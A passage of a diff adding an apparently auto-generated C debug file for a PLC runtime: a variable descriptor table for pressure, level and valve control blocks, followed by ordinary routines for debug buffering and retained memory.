REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + 